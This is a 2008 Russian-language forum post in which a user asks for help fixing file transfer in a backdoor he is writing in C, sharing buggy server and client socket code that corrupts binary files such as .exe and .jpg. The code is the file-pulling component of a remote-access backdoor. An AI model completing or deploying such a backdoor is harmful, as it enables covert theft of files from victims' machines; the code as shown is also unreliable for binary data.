|
Познающий
Регистрация: 07.09.2008
Сообщений: 55
Провел на форуме: 163517
Репутация:
57
|
|
и опять я =))))
Народ...
Вроде после долгих мучений и изучением (практически с нуля) как работать с сокетами на голом си, основную часть бэкдора сделал.
Вот-с значит... Надо теперь организовать отправку файла. Ну с текстовыми файлами проблем вообще нет никаких: накалякал код, что программка отправляла и принимала файлы ЛЮБЫХ размеров. А вот с бинарными... Т.е. например *.exe или *.jpg... не выходит че-то, проще говоря. А если точнее, не получается прочитать его. Читается какая-та определенная часть и фзё.
Вот код:
СЕРВЕР:
Код:
int sendfile(int ptr, char filename[255])
{
char temp[300]="";
SOCKET client=(SOCKET)ptr;
char filebuff[1024];
char sendbuff[2048];
int err,terr,i,size=0;
FILE *fp,*fpd; //fpd специального для отладки сделал, чтоб понять в каком месте глюк возникает
if(FileExists(filename)==True){
fp=fopen(filename,"rb");
fpd=fopen("filed","wb");
int t=0;
printf("\nSending file started:");
ZeroMemory (&filebuff, sizeof (filebuff));
ZeroMemory (&sendbuff, sizeof (sendbuff));
while(1)
{
err=fread(filebuff,1,768,fp);
terr=err;
sprintf(temp,"%d",err+4); //сюда записываю размер отправляемого пакета
if(temp[1]==NULL)temp[1]='-';
if(temp[2]==NULL)temp[2]='-';
if(temp[3]==NULL)temp[3]='-';
sprintf(sendbuff,"%s%s",temp,filebuff); //sendbuff - как вы уже поняли, массив (буфер) хранящий ту или иную часть содержимого файла
t++;
fputs(filebuff,fpd);
if((size = send(client,sendbuff,strlen(sendbuff),0))== SOCKET_ERROR) //отправляем
return -1;
printf("\nPacket #%d>> %d bytes read, %d of %d bytes send",t,terr,size,strlen(sendbuff));
ZeroMemory (&filebuff, sizeof (filebuff));
ZeroMemory (&sendbuff, sizeof (sendbuff));
if (err<768) break; //чтение и отправка файла завершена
}
fclose(fp); fclose(fpd);
printf("\nSending file completed successfully...");
return 1;
}else{ //если файла не существует
sprintf(temp,"ERROR_SENDING_FILE_TO_CLIENTFile does not exist: %s",filename);
printf("\n%s",temp);
send(client,temp,sizeof(temp),0);
}
}
КЛИЕНТ (он уже с гуи):
Код:
int ret=0;char temp[20 * 1024]="";int i=0,j=0,t=0,k=0;
FILE *fp;char buff_x[20 * 1024];
MkDir("RcvdFiles");
sprintf(temp,"RcvdFiles\\%s",ExtractFilename(Edit4->Text.c_str())); //путь для сохраняемого/принимаемого файла
unlink(temp);
fp=fopen(temp,"wb");
ret=512; t=0;
while(ret>0)
{
strcpy(szRecvBuff,"");
strcpy(temp,"");
t++;
ZeroMemory (&buff_x, sizeof (buff_x));
ZeroMemory (&szRecvBuff, sizeof (szRecvBuff));
ret = recv(s, szRecvBuff, 772, 0);
if (ret != SOCKET_ERROR){
if(t==1 && strstr(szRecvBuff,"ERROR_SENDING_FILE_TO_CLIENT")){return 2;} //ошибка передачи файла
strncpy(temp,szRecvBuff,4); //четыре байта содержащие размер пакета
k=Str2Int(temp); //переводит строку в число
sprintf(temp,"Пакет #%d>> Получено: %d из %d байтов. Записано: %d байтов",t,ret,k,strlen(szRecvBuff)-4);
info(temp); //выводит строку в MEMO
fputs(&szRecvBuff[4],fp);
if(k<772){break;}
}else{
fputs("\nSOCKET ERROR",fp);return -1;
}
}
fclose(fp);
return 1;
Если вкратце... смысл кода такой: клиент вводит адрес до файла на сервере, тот получает этот путь, смотрит существует ли файл, и выдает "результат" обработки запроса
Скорее всего, че-то я туплю и наверное решение какое-то простое (как всегда по-жизни  ) должно быть. Но блин парюсь уже два дня, не могу понять в чем дело.
Вообщем, помогите кто чем может =))
Последний раз редактировалось Dobby007; 30.12.2008 в 23:06..
|